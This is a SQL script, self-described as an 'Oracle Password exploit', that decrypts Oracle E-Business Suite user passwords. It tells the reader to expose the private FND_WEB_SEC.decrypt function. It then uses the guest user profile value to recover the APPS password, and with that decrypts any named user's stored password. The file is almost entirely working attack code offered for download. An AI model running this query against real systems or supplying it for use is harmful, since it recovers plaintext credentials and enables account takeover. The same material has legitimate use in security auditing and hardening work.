/********************************************************************
 *  FILE NAME
 *    decrypt_apps_account.sql
 *
 * 
 *  DESCRIPTION
 *     This query will decrypt Oracle e-business suite user account 
 *     Passwords. The query will ask you for a username of which you 
 *     want the password from to be decrypted.
 * 
 *     For this query to be able to work correctly a modification to 
 *     the package specification of FND_WEB_SEC is needed. Please add 
 *     the following line to the FND_WEB_SEC package:
 * 
 *     function decrypt(key in varchar2, value in varchar2) return varchar2; 
 *
 *     A more detailed description of this Oracle Password exploit can be 
 *     found at the weblog of Johan Louwers: http://johanlouwers.blogspot.com/
 *     More information about Oracle security can be found at his website
 *     at http://www.terminalcult.org/
 * 
 *
 * 
 *  LICENSE
 *     Copyright (C) 2006  Johan Louwers
 *     
 *     This program is free software; you can redistribute it and/or
 *     modify it under the terms of the GNU General Public License
 *     as published by the Free Software Foundation; either version 2
 *     of the License, or (at your option) any later version.
 *     
 *     This program is distributed in the hope that it will be useful,
 *     but WITHOUT ANY WARRANTY; without even the implied warranty of
 *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *     GNU General Public License for more details.
 *     
 *     http://www.gnu.org/licenses/gpl.txt  
 *
 *
 *  DOWNLOAD / CONTACT
 *     you can download the script from the following location:
 *     http://www.terminalcult.org/source/oracle/sql/decrypt_apps_account.sql
 *  
 *     You can contact Johan Louwers at Johan.Louwers(at)terminalcult.org
 *
 *
 *  HISTORY
 *  Version Date        Author(s)           Description
 *  ------- ----------- ------------------- --------------------------
 *  1.0     02-JAN-2007 Johan Louwers	      Initial Creation
 *
 *******************************************************************/

SELECT 
      usertable.user_name
     ,(SELECT 
            fnd_web_sec.decrypt(UPPER((
                                SELECT(
                                       SELECT 
                                           fnd_web_sec.decrypt(UPPER(
                                                                 (SELECT upper(fnd_profile.value('GUEST_USER_PWD')) FROM dual)
                                                                    ),usertable.encrypted_foundation_password) 
                                       FROM dual
                                      ) AS apps_password
                                FROM 
                                    fnd_user usertable 
                                WHERE 
                                     usertable.user_name LIKE upper(
                                                                   (SELECT 
                                                                         substr(fnd_profile.value('GUEST_USER_PWD'),1,instr(fnd_profile.value('GUEST_USER_PWD'),'/')-1)
                                                                    FROM dual)
                                                                   )
                                        )
     ),usertable.encrypted_user_password) 
      FROM 
          dual
     ) AS encrypted_user_password
FROM 
    fnd_user usertable 
WHERE 
     usertable.user_name LIKE upper('&username');
